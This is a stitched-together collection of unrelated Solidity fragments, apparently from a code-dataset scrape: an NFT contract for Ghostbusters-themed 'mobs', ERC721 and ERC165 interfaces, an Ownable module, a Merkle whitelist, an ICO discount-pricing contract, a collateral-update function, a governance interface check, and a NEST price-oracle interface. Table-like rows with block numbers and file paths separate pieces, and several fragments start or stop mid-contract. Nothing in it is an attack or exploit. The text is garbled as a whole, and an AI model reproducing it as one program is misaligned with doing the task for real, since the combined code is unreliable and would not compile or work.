emit Transfer(getMobOwner(i,_mobHash),address(0),_tokenId); //READx3, EMIT x 3 max
}
}
}
/// Update Mobs Finish
/// @notice Internal - Calculates mob owners and emits events sending to them. Second part of mobs moving
function updateMobFinish() internal {
if(!mobReleased) {
require(gasleft() > 100000,"gas failsafe");
return;
}
if(mobTokenIds[3] == 0) return;
require(gasleft() > 64500,"gas failsafe");
bytes32 _mobHash = mobHash; //READ
uint eliminationBlock = block.number - (block.number % 245) - 10; //READ
bytes32 updateHash = extractBytes(keccak256(abi.encodePacked(_mobHash)),0);
bytes32 mobModulo0 = extractBytes(_mobHash,1);
bytes32 mobModulo1 = extractBytes(_mobHash,2);
bytes32 mobModulo2 = extractBytes(_mobHash,3);
bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4);
bytes32 newMobHash = shiftBytes(updateHash,0) ^
shiftBytes(mobModulo0,1) ^
shiftBytes(mobModulo1,2) ^
shiftBytes(mobModulo2,3) ^
shiftBytes(destinationHash,4);
mobHash = newMobHash; //WRITE
for(uint i = 0; i < 3; i++){
uint _tokenId = _getMobTokenId(i); //READ x 3
if(_tokenId != MOB_OFFSET){
emit Transfer(address(0),getMobOwner(i,newMobHash),_tokenId); //READx3, EMIT x 3 max
}
}
}
/// Update Catch Mob
/// @notice Catch a mob that's in your wallet
/// @param _mobIndex Index of mob to catch
/// @dev Mints real token and updates mobs
function catchMob(uint _mobIndex) public {
IGBATrapsPartial(trapContract).useTrap(msg.sender);
require(_mobIndex < 3,"mobIndex");
bytes32 _mobHash = mobHash;
address mobOwner = getMobOwner(_mobIndex,_mobHash);
require(msg.sender == mobOwner,"owner");
updateMobStart(); //Kill all mobs
bytes32 updateHash = extractBytes(_mobHash,0);
bytes32[3] memory mobModulo;
for(uint i = 0; i < 3; i++){
mobModulo[i] = extractBytes(_mobHash,i + 1);
}
uint mobTokenId = _getMobTokenId(_mobIndex); //READ
//Mint real one
_mint(msg.sender,mobTokenId+MOB_OFFSET);
bool mintNewMob = true;
if(mobTokenIds[3] < TOTAL_MOB_COUNT){
mobTokenIds[_mobIndex] = ++mobTokenIds[3];
}else{
mintNewMob = false;
//if final 3
mobTokenIds[3]++;
mobTokenIds[_mobIndex] = 0;
if(mobTokenIds[3] == TOTAL_MOB_COUNT + 3){
//if final mob, clear last slot to identify end condition
delete mobTokenIds[3];
}
}
mobModulo[_mobIndex] = bytes32(tokens.length);
uint eliminationBlock = block.number - (block.number % 245) - 10; //READ
bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4);
mobHash = shiftBytes(updateHash,0) ^ //WRITE
shiftBytes(mobModulo[0],1) ^
shiftBytes(mobModulo[1],2) ^
shiftBytes(mobModulo[2],3) ^
shiftBytes(destinationHash,4);
updateMobFinish(); //release mobs
}
/// Mint (internal)
/// @notice Mints real tokens as per ERC721
/// @param _to Address to mint it for
/// @param _tokenId Token to mint
function _mint(address _to,uint _tokenId) internal{
emit Transfer(address(0), _to, _tokenId);
owners[_tokenId] =_to;
balances[_to]++;
tokens.push(_tokenId);
}
/// Is Valid Token (internal)
/// @notice Checks if given tokenId exists (Doesn't apply to mobs)
/// @param _tokenId TokenId to check
function isValidToken(uint256 _tokenId) internal view returns(bool){
return owners[_tokenId] != address(0);
}
/// Require Valid (internal)
/// @notice Reverts if given token doesn't exist
function requireValid(uint _tokenId) internal view{
require(isValidToken(_tokenId),"valid");
}
/// Balance Of
/// @notice ERC721 balanceOf func, includes active mobs
function balanceOf(address _owner) external override view returns (uint256){
uint _balance = balances[_owner];
bytes32 _mobHash = mobHash;
for(uint i = 0; i < 3; i++){
if(getMobOwner(i, _mobHash) == _owner){
_balance++;
}
}
return _balance;
}
/// Owner Of
/// @notice ERC721 ownerOf func, includes active mobs
function ownerOf(uint256 _tokenId) public override view returns(address){
bytes32 _mobHash = mobHash;
for(uint i = 0; i < 3; i++){
if(_getMobTokenId(i) == _tokenId){
address owner = getMobOwner(i,_mobHash);
require(owner != address(0),"invalid");
return owner;
}
}
requireValid(_tokenId);
return owners[_tokenId];
}
/// Approve
/// @notice ERC721 function
function approve(address _approved, uint256 _tokenId) external override{
address _owner = owners[_tokenId];
require( _owner == msg.sender //Require Sender Owns Token
|| authorised[_owner][msg.sender] // or is approved for all.
,"permission");
emit Approval(_owner, _approved, _tokenId);
allowance[_tokenId] = _approved;
}
/// Get Approved
/// @notice ERC721 function
function getApproved(uint256 _tokenId) external view override returns (address) {
// require(isValidToken(_tokenId),"invalid");
requireValid(_tokenId);
return allowance[_tokenId];
}
/// Is Approved For All
/// @notice ERC721 function
function isApprovedForAll(address _owner, address _operator) external view override returns (bool) {
return authorised[_owner][_operator];
}
/// Set Approval For All
/// @notice ERC721 function
function setApprovalForAll(address _operator, bool _approved) external override {
emit ApprovalForAll(msg.sender,_operator, _approved);
authorised[msg.sender][_operator] = _approved;
}
/// Transfer From
/// @notice ERC721 function
/// @dev Fails for mobs
function transferFrom(address _from, address _to, uint256 _tokenId) public override {
requireValid(_tokenId);
//Check Transferable
//There is a token validity check in ownerOf
address _owner = owners[_tokenId];
require ( _owner == msg.sender //Require sender owns token
//Doing the two below manually instead of referring to the external methods saves gas
|| allowance[_tokenId] == msg.sender //or is approved for this token
|| authorised[_owner][msg.sender] //or is approved for all
,"permission");
require(_owner == _from,"owner");
require(_to != address(0),"zero");
updateMobStart();
emit Transfer(_from, _to, _tokenId);
owners[_tokenId] =_to;
balances[_from]--;
balances[_to]++;
//Reset approved if there is one
if(allowance[_tokenId] != address(0)){
delete allowance[_tokenId];
}
updateMobFinish();
}
/// Safe Transfer From
/// @notice ERC721 function
/// @dev Fails for mobs
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public override {
transferFrom(_from, _to, _tokenId);
//Get size of "_to" address, if 0 it's a wallet
uint32 size;
assembly {
size := extcodesize(_to)
}
if(size > 0){
IERC721TokenReceiver receiver = IERC721TokenReceiver(_to);
require(receiver.onERC721Received(msg.sender,_from,_tokenId,data) == bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")),"receiver");
}
}
/// Safe Transfer From
/// @notice ERC721 function
/// @dev Fails for mobs
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external override {
safeTransferFrom(_from,_to,_tokenId,"");
}
/// Name
/// @notice ERC721 Metadata function
/// @return _name Name of token
function name() external pure override returns (string memory _name){
return "Ghostbusters: Afterlife Collectibles";
}
/// Symbol
/// @notice ERC721 Metadata function
/// @return _symbol Symbol of token
function symbol() external pure override returns (string memory _symbol){
return "GBAC";
}
/// Token URI
/// @notice ERC721 Metadata function (includes active mobs)
/// @param _tokenId ID of token to check
/// @return URI (string)
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
ownerOf(_tokenId); //includes validity check
return string(abi.encodePacked(__uriBase,toString(_tokenId),__uriSuffix));
}
/// To String
/// @notice Converts uint to string
/// @param value uint to convert
/// @return String
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
// ENUMERABLE FUNCTIONS (not actually needed for compliance but everyone likes totalSupply)
function totalSupply() public view returns (uint256){
uint highestMob = mobTokenIds[3];
if(!mobReleased || highestMob == 0){
return tokens.length;
}else if(highestMob < TOTAL_MOB_COUNT){
return tokens.length + 3;
}else{
return tokens.length + 3 - (TOTAL_MOB_COUNT - highestMob);
}
}
function supportsInterface(bytes4 interfaceID) external override view returns (bool){
return supportedInterfaces[interfaceID];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface IERC721 /* is ERC165 */ {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
interface IERC721Enumerable /* is ERC721 */ {
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256);
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256);
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface IERC721Metadata /* is ERC721 */ {
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string memory _name);
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string memory _symbol);
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
interface IERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _operator The address which called `safeTransferFrom` function
/// @param _from The address which previously owned the token
/// @param _tokenId The NFT identifier which is being transferred
/// @param _data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author Andrew Parker
/// @title Ghost Busters: Afterlife Traps NFT contract partial interface
/// @notice For viewer func, and also for MSP because Traps relies on OpenZepp and MSP uses pure 721 implementation.
interface IGBATrapsPartial{
enum State { Paused, Whitelist, Public, Final}
function useTrap(address owner) external;
function tokensClaimed() external view returns(uint);
function hasMinted(address minter) external view returns(bool);
function saleStarted() external view returns(bool);
function whitelistEndTime() external view returns(uint);
function balanceOf(address _owner) external view returns (uint256);
function mintState() external view returns(State);
function countdown() external view returns(uint);
function totalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* OpenZeppelin's Ownable, but without Context, because it saves about 500 bytes
* and compiled contract is pushing limits of Spurious Dragon and is unnecessary.
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "onlyOwner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "zero");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/// @author Andrew Parker
/// @title GBA Whitelist NFT Contract
/// @notice Implementation of OpenZeppelin MerkleProof contract for GBA MiniStayPuft and Traps NFTs
contract GBAWhitelist{
bytes32 merkleRoot;
/// Constructor
/// @param _merkleRoot root of merkle tree
constructor(bytes32 _merkleRoot){
merkleRoot = _merkleRoot;
}
/// Is Whitelisted
/// @notice Is a given address whitelisted based on proof provided
/// @param proof Merkle proof
/// @param claimer address to check
/// @return Is whitelisted
function isWhitelisted(bytes32[] memory proof, address claimer) public view returns(bool){
bytes32 leaf = keccak256(abi.encodePacked(claimer));
return MerkleProof.verify(proof,merkleRoot,leaf);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
| Note: the ERC-165 identifier for this interface is 0x150b7a02. | interface IERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
}
| 12,695,898 |
./full_match/1/0x353aA318304043457E30F3310d216E10Ad82FF1d/sources/contracts/NFTcontract.sol | ============ MINT FUNCTION FOR ONLY OWNER ============ | function privateMint(uint256 numberOfTokens)
public
payable
canMint(numberOfTokens)
nonReentrant
onlyCurator
{
for (uint256 i = 0; i < numberOfTokens; i++) {
_mint(msg.sender, publicMintId);
publicMintId++;
}
}
| 17,168,415 |
pragma solidity ^0.4.17;
import 'zeppelin-solidity/contracts/math/SafeMath.sol';
import './TokenLifecycle.sol';
import "./DSWarp.sol";
/**
* @title SalePrice
* @author Tavit Ohanian
* @notice Allows determination of discounted sale price of token purchase
*/
contract SalePrice is TokenLifecycle {
using SafeMath for uint256;
/**
* @dev State definitions
*/
/// @dev ICO Price in units of tokens per ether
/// @dev 5000 VMTs per Ether
uint256 public constant PRICE = 5000;
/// @dev Initial discount in units of tokens per ether
/// @dev 20% initial discount on VMTs per Ether
uint256 public constant INITIAL_DISCOUNT = 1000;
/// @dev Days in token sale
uint public constant SALE_PERIOD = 10;
/// @dev Days discount is fixed at a specific level
uint public constant DISCOUNT_PERIOD = 2;
/// @dev No discount during last period
uint public constant TOTAL_DISCOUNT_PERIODS = (SALE_PERIOD / DISCOUNT_PERIOD) - 1;
/// @dev Uniform reduction of discount amount in units of ether
uint256 public constant DISCOUNT_REDUCTION_AMOUNT = INITIAL_DISCOUNT / TOTAL_DISCOUNT_PERIODS;
/// @dev Used to compute purchase price
uint prevPeriod;
uint currPeriod;
uint256 price; // in units of ether
/**
* @notice rate how many token units a buyer gets per wei
*/
uint256 public rate;
/**
* @dev Event definitions
*/
/**
* @notice token purchase event
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value wei paid for purchase
* @param amount amount of tokens purchased
*/
event PriceChangePurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @dev Constructor
*/
/**
* @notice SalePrice(uint256 _rate)
* @param _rate base purchase rate.
*/
function SalePrice(uint256 _rate) public {
require(_rate > 0);
rate = _rate;
prevPeriod = 0;
currPeriod = 0;
price = PRICE + INITIAL_DISCOUNT; // in ether units
}
/**
* @dev Fallback function (if exists)
*/
/**
* @dev External functions
*/
/**
* @dev Public functions
*/
/**
* @notice validPurchase()
* @return true if sale is running and period has not expired
*/
function validPurchase() public view returns (bool) {
bool _active =
saleStart > 0 &&
currentTime() >= saleStart &&
(currentTime() - saleStart) < (SALE_PERIOD * 1 days);
return _active;
}
/**
* @notice salePrice()
* @notice Calculate price in tokens per wei.
* @notice Available at any token phase state.
*/
function salePrice() public returns (uint256) {
// called only when running and purchase is valid
currPeriod = (currentTime() - saleStart) / (DISCOUNT_PERIOD * 1 days);
if (currPeriod > prevPeriod) {
prevPeriod = currPeriod;
if (price >= SafeMath.add(PRICE, DISCOUNT_REDUCTION_AMOUNT)) {
price = price.sub(DISCOUNT_REDUCTION_AMOUNT);
} else {
price = PRICE; // latch at non-discounted price
}
}
return price;
}
/**
* @dev Administrative functions
*/
/**
* @dev Internal functions
*/
/**
* @notice currentTime()
* @notice override to warp time for sale discount testing
* @return block.timestamp
*/
function currentTime() internal view returns (uint) {
return block.timestamp;
}
/**
* @dev Private functions
*/
}
| validPurchase() return true if sale is running and period has not expired/ | function validPurchase() public view returns (bool) {
bool _active =
saleStart > 0 &&
currentTime() >= saleStart &&
(currentTime() - saleStart) < (SALE_PERIOD * 1 days);
return _active;
}
| 15,840,864 |
./full_match/73799/0x4545C3dAbc5b6D1c19A52006C2eaF598a599dE2A/sources/contracts/trove.sol | update the state variables recordedCollateral and rewardRatioSnapshot and get all the collateral into the trove/ make sure all tokens sent to or transferred out of the contract are taken into account getLiquidationRewards updates recordedCollateral console.log("startRecordedCollateral %s recordedCollateral %s", startRecordedCollateral, recordedCollateral); | function updateCollateral() private returns (uint256) {
uint256 startRecordedCollateral = recordedCollateral;
IERC20 token_cache = token;
uint256 newRecordedCollateral = token_cache.balanceOf(address(this));
recordedCollateral = newRecordedCollateral;
getLiquidationRewards();
if (newRecordedCollateral != startRecordedCollateral) {
factory.updateTotalCollateral(
address(token_cache),
newRecordedCollateral.max(startRecordedCollateral) - newRecordedCollateral.min(startRecordedCollateral),
newRecordedCollateral >= startRecordedCollateral
);
}
return newRecordedCollateral;
}
| 16,363,675 |
./full_match/1/0xf4Aa0f1013c81DBC7F87C5509F62268142a2975f/sources/contracts/lybra/governance/LybraGovernance.sol | See {IERC165-supportsInterface}./ The original interface id in v4.3. An updated interface id in v4.6, with params added. For the updated interface id in v4.9, we use governorCancelId directly. | function supportsInterface(bytes4 interfaceId) public view virtual override(GovernorTimelockControl) returns (bool) {
bytes4 governorCancelId = this.cancel.selector ^ this.proposalProposer.selector;
bytes4 governorParamsId = this.castVoteWithReasonAndParams.selector ^
this.castVoteWithReasonAndParamsBySig.selector ^
this.getVotesWithParams.selector;
bytes4 governor43Id = type(IGovernor).interfaceId ^
type(IERC6372).interfaceId ^
governorCancelId ^
governorParamsId;
bytes4 governor46Id = type(IGovernor).interfaceId ^ type(IERC6372).interfaceId ^ governorCancelId;
return
interfaceId == governor43Id ||
interfaceId == governor46Id ||
interfaceId == governorCancelId ||
interfaceId == type(IERC1155Receiver).interfaceId ||
super.supportsInterface(interfaceId);
}
| 3,136,130 |
/**
*Submitted for verification at Etherscan.io on 2021-07-29
*/
// Sources flattened with hardhat v2.3.0 https://hardhat.org
// File contracts/interfaces/INestPriceFacade.sol
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev This interface defines the methods for price call entry
interface INestPriceFacade {
// /// @dev Set the address flag. Only the address flag equals to config.normalFlag can the price be called
// /// @param addr Destination address
// /// @param flag Address flag
// function setAddressFlag(address addr, uint flag) external;
// /// @dev Get the flag. Only the address flag equals to config.normalFlag can the price be called
// /// @param addr Destination address
// /// @return Address flag
// function getAddressFlag(address addr) external view returns(uint);
// /// @dev Set INestQuery implementation contract address for token
// /// @param tokenAddress Destination token address
// /// @param nestQueryAddress INestQuery implementation contract address, 0 means delete
// function setNestQuery(address tokenAddress, address nestQueryAddress) external;
// /// @dev Get INestQuery implementation contract address for token
// /// @param tokenAddress Destination token address
// /// @return INestQuery implementation contract address, 0 means use default
// function getNestQuery(address tokenAddress) external view returns (address);
// /// @dev Get the latest trigger price
// /// @param tokenAddress Destination token address
// /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// function triggeredPrice(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price);
// /// @dev Get the full information of latest trigger price
// /// @param tokenAddress Destination token address
// /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// /// @return avgPrice Average price
// /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that
// /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447,
// /// it means that the volatility has exceeded the range that can be expressed
// function triggeredPriceInfo(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price, uint avgPrice, uint sigmaSQ);
// /// @dev Find the price at block number
// /// @param tokenAddress Destination token address
// /// @param height Destination block number
// /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// function findPrice(address tokenAddress, uint height, address payback) external payable returns (uint blockNumber, uint price);
/// @dev Get the latest effective price
/// @param tokenAddress Destination token address
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
/// @return blockNumber The block number of price
/// @return price The token price. (1eth equivalent to (price) token)
function latestPrice(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price);
// /// @dev Get the last (num) effective price
// /// @param tokenAddress Destination token address
// /// @param count The number of prices that want to return
// /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
// /// @return An array which length is num * 2, each two element expresses one price like blockNumber|price
// function lastPriceList(address tokenAddress, uint count, address payback) external payable returns (uint[] memory);
/// @dev Returns the results of latestPrice() and triggeredPriceInfo()
/// @param tokenAddress Destination token address
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
/// @return latestPriceBlockNumber The block number of latest price
/// @return latestPriceValue The token latest price. (1eth equivalent to (price) token)
/// @return triggeredPriceBlockNumber The block number of triggered price
/// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token)
/// @return triggeredAvgPrice Average price
/// @return triggeredSigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that
/// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447,
/// it means that the volatility has exceeded the range that can be expressed
function latestPriceAndTriggeredPriceInfo(address tokenAddress, address payback)
external
payable
returns (
uint latestPriceBlockNumber,
uint latestPriceValue,
uint triggeredPriceBlockNumber,
uint triggeredPriceValue,
uint triggeredAvgPrice,
uint triggeredSigmaSQ
);
/// @dev Returns lastPriceList and triggered price info
/// @param tokenAddress Destination token address
/// @param count The number of prices that want to return
/// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
/// @return prices An array which length is num * 2, each two element expresses one price like blockNumber|price
/// @return triggeredPriceBlockNumber The block number of triggered price
/// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token)
/// @return triggeredAvgPrice Average price
/// @return triggeredSigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that
/// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447,
/// it means that the volatility has exceeded the range that can be expressed
function lastPriceListAndTriggeredPriceInfo(
address tokenAddress,
uint count,
address payback
) external payable
returns (
uint[] memory prices,
uint triggeredPriceBlockNumber,
uint triggeredPriceValue,
uint triggeredAvgPrice,
uint triggeredSigmaSQ
);
// /// @dev Get the latest trigger price. (token and ntoken)
// /// @param tokenAddress Destination token address
// /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// /// @return ntokenBlockNumber The block number of ntoken price
// /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken)
// function triggeredPrice2(address tokenAddress, address payback) external payable returns (uint blockNumber, uint price, uint ntokenBlockNumber, uint ntokenPrice);
// /// @dev Get the full information of latest trigger price. (token and ntoken)
// /// @param tokenAddress Destination token address
// /// @param payback As the charging fee may change, it is suggested that the caller pay more fees, and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// /// @return avgPrice Average price
